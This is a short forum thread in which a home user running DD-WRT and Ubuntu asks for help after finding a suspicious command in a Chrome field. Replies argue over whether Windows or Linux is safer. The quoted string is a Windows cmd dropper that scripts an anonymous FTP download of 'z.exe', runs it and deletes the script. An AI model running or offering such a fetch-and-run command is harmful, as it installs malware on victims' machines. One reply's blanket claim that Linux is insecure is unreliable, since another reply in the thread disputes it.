: * I've Been Hacked *
: mvyvoda April 26, 2012, 02:19:45 PM

Greetings. I am using Buffalo wireless router G300NH, DD-WRT build 14998. I am using Ubuntu and need help please!! I came home to find this in a field in Chrome:

cmd /c echo open 21 >> ik &echo user Anonymous Anonymous >> ik &echo binary >> ik &echo get z.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &z.exe &exitkcmd /c echo open 21 >> ik &echo user Anonymous Anonymous >> ik &echo bi


I am certain i have been hacked and someone is trying to control my system (even though it looks like DOS commands). Also, two weeks ago, I was at my Ubuntu computer and my mouse started to move and then a command prompt showed up. They started typing rapidly. I immediately turned off internet. They are back. RKHunter returns OK for everything...

Please help me: 
1.) confirm my integrity has been compromised
2.) suggest methods to prevent this from happening.
3.) explain to me how they even got in. I thought I have a secure system 

I really appreciate any help you can suggest. I am a novice and barely know what /etc is.

switch to windows system, linux has too many security holes and no paid developers to fix them.

You really don't give much thought to your answers do you? Guess you better use a windows based router then, dd-wrt and pretty much all the 3rd party firmware are all linux driven...Windows is far from secure and riddled with spyware/malware/virus, and probably the most compromised OS out there, thats why big networks don't use it to run their main servers.


To the OP - If you switch to a more secure OS, i would of course suggest OpenBSD.
